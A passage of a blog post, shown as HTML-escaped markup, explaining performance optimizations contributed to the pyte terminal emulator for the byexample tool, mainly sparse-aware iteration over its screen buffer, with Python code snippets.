&lt;p&gt;That’s how IRB can tell your terminal to output something with reds and blues colors.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoYXQncyBob3cgYGJ5ZXhhbXBsZWAncwpbYCt0ZXJtPWFuc2lgXShodHRwczovL2J5ZXhhbXBsZXMuZ2l0aHViLmlvL2J5ZXhhbXBsZS9hZHZhbmNlZC90ZXJtaW5hbC1lbXVsYXRpb24pCmlzIGltcGxlbWVudGVkLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoYXQncyBob3cgYGJ5ZXhhbXBsZWAncwpbYCt0ZXJtPWFuc2lgXShodHRwczovL2J5ZXhhbXBsZXMuZ2l0aHViLmlvL2J5ZXhhbXBsZS9hZHZhbmNlZC90ZXJtaW5hbC1lbXVsYXRpb24pCmlzIGltcGxlbWVudGVkLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
That’s how &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s &lt;a href="https://byexamples.github.io/byexample/advanced/terminal-emulation"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;term&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ansi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is implemented.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://byexamples.github.io/byexample/"&gt;byexample&lt;/a&gt; has no idea of what the hell those control sequences are and relays on a &lt;em&gt;terminal emulator&lt;/em&gt;: &lt;a href="https://github.com/selectel/pyte"&gt;pyte&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; sends the snippets to the correct interpreter and its output &lt;em&gt;feeds&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. It is the plain text from the emulated terminal what &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; uses to compare with the expected output from the example.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/python/pyte/byexample-pyte-overview.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; may take &lt;strong&gt;seconds&lt;/strong&gt; to process a single output so &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; never enabled it by default.&lt;/p&gt;
&lt;p&gt;This post describes the &lt;em&gt;why&lt;/em&gt; and &lt;em&gt;how&lt;/em&gt; of the &lt;a href="https://github.com/byexamples/pyte/tree/Screen-Optimizations"&gt;optimizations contributed&lt;/a&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to go from seconds to &lt;strong&gt;microseconds&lt;/strong&gt;. &lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="artifacts-and-artificial-boundaries"&gt;Artifacts and artificial boundaries&lt;/h2&gt;
&lt;p&gt;Using an emulator like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; saves us from interpreting the &lt;a href="https://en.wikipedia.org/wiki/ansi_escape_code"&gt;escape/control sequences&lt;/a&gt;, but introduces some unwanted artifacts in the output.&lt;/p&gt;
&lt;p&gt;For example, considere the following snippet that prints a &lt;strong&gt;single&lt;/strong&gt; line of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;A&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. If you do this in your terminal you will see that the line &lt;strong&gt;spans multiple lines&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;170&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;
&lt;span class="n"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;
&lt;span class="n"&gt;AAAAAAAAAA&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Why? It’s because your terminal has boundaries, a finite width in this case and lines longer than that are &lt;em&gt;cut&lt;/em&gt; and &lt;em&gt;continued&lt;/em&gt; on the next line.&lt;/p&gt;
&lt;p&gt;This is super handy for a human but not for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another artifact is the limit of lines in the terminal: if the interpreter outputs a lot of lines only the last will be visible &lt;em&gt;“on the screen”&lt;/em&gt; and the rest will be lost.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;22&lt;/span&gt;
&lt;span class="mi"&gt;23&lt;/span&gt;
&lt;span class="mi"&gt;24&lt;/span&gt;
&lt;span class="mi"&gt;25&lt;/span&gt;
&lt;span class="mi"&gt;26&lt;/span&gt;
&lt;span class="mi"&gt;27&lt;/span&gt;
&lt;span class="mi"&gt;28&lt;/span&gt;
&lt;span class="mi"&gt;29&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Again, your terminal has a finite height so the same goes for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; emulator.&lt;/p&gt;
&lt;h2 id="the-hack"&gt;The hack&lt;/h2&gt;
&lt;p&gt;If the size of the emulated screen generates unwanted artifacts, the hack is simple: increase the size!&lt;/p&gt;
&lt;p&gt;And &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has no problem with that.&lt;/p&gt;
&lt;p&gt;Well, actually, it has….&lt;/p&gt;
&lt;h2 id="bad-news-it-is-super-slow"&gt;Bad news: it is super slow!&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; implements a sparse buffer so technically it should not have problems when we increase the size of the screen.&lt;/p&gt;
&lt;p&gt;Even if the geometry is of 2400 lines by 8000 columns, the performance of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; should depend &lt;strong&gt;only&lt;/strong&gt; on the amount of non-empty data in the screen.&lt;/p&gt;
&lt;p&gt;Sadly, the algorithms for terminal emulation are &lt;strong&gt;not&lt;/strong&gt; &lt;em&gt;sparse aware&lt;/em&gt; and they do &lt;strong&gt;full scans&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;To give you an example, if a line of 8000 columns has only 5 characters, only 5 characters are stored on memory (good) but displaying it iterates over the whole 8000 columns&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nd"&gt;@property&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# display the char&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; runtime complexity runs &lt;em&gt;quadratic&lt;/em&gt; with respect the size of the terminal and not &lt;em&gt;linear&lt;/em&gt; with respect the real data stored within.&lt;/p&gt;
&lt;p&gt;Moreover, the underlying implementation of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;defaultdict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While initially it may contain only the real characters and being very &lt;em&gt;sparse&lt;/em&gt;, as soon you do a &lt;em&gt;single full scan&lt;/em&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will contain &lt;strong&gt;all the entries&lt;/strong&gt; possible of 2400x8000.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will &lt;em&gt;not&lt;/em&gt; be sparse but completely &lt;strong&gt;dense&lt;/strong&gt;. And this of course means the memory also grows &lt;strong&gt;quadratic&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id="make-pyte-really-fast"&gt;Make &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; really fast!&lt;/h2&gt;
&lt;p&gt;With 54 commits (more than 10% of the total commits that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt; &lt;span class="mf"&gt;0.8.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has), the &lt;a href="https://github.com/byexamples/pyte/tree/Screen-Optimizations"&gt;pull request&lt;/a&gt; implements a lot of improvements.&lt;/p&gt;
&lt;p&gt;The &lt;a href="/articles/2022/07/14/TLDR-Screen-Optimizations-Results.html"&gt;TL;DR post&lt;/a&gt; with the contributions and the results is posted somewhere else but here is a summary.&lt;/p&gt;
&lt;h2 id="sparse-aware-scans"&gt;Sparse-aware scans&lt;/h2&gt;
&lt;p&gt;First, every time that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; needs to iterate over non-empty lines or chars, use sparse aware iterations.&lt;/p&gt;
&lt;p&gt;Instead of doing:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# do something&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Do this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;non_empty_y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;non_empty_y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;non_empty_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;non_empty_x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# do something&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Both &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with row indexes/column indexes as keys for each non-empty line/char respectively.&lt;/p&gt;
&lt;p&gt;The full scan with the nested &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is \(s^2\) in terms of any possible slot in the buffer, empty or not.&lt;/p&gt;
&lt;p&gt;In contrast, the sparse-aware variant has the cost of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (\(n log(n)\)) and the iteration (\(n\)) both in terms of the non-empty data.&lt;/p&gt;
&lt;p&gt;When the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is sparse we expect \(n ≪ s\) and the second code is way faster than the first.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not sparse, both code are quadratic.&lt;/p&gt;
&lt;h2 id="sparsity"&gt;Sparsity&lt;/h2&gt;
&lt;p&gt;So it is critical to maintain the sparsity of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, not only because it consumes less memory (less real entries in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) but because the runtime of other algorithms depend on that!&lt;/p&gt;
&lt;p&gt;Now, in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt; &lt;span class="mf"&gt;0.8.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;defaultdict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so any &lt;em&gt;read&lt;/em&gt; may potentially &lt;strong&gt;write&lt;/strong&gt; an entry.&lt;/p&gt;
&lt;p&gt;Consider the following &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; method that moves all the lines one row up so a line at coordinate &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be moved to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
    &lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Simple, elegant but…. for each &lt;em&gt;empty entry&lt;/em&gt; at &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, we will creating 2 real entries into the buffer: one for writing into index &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and one for reading &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;These are what I called &lt;strong&gt;false entries&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;A single call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will turn the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; into a &lt;em&gt;dense&lt;/em&gt;, full of false entries &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The solution is to replace the full scan &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for one that that iterate only the non-empty entries (avoiding then reading empty entries):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# [...]&lt;/span&gt;
    &lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;non_empty_y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;to_move&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;non_empty_y&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;to_move&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
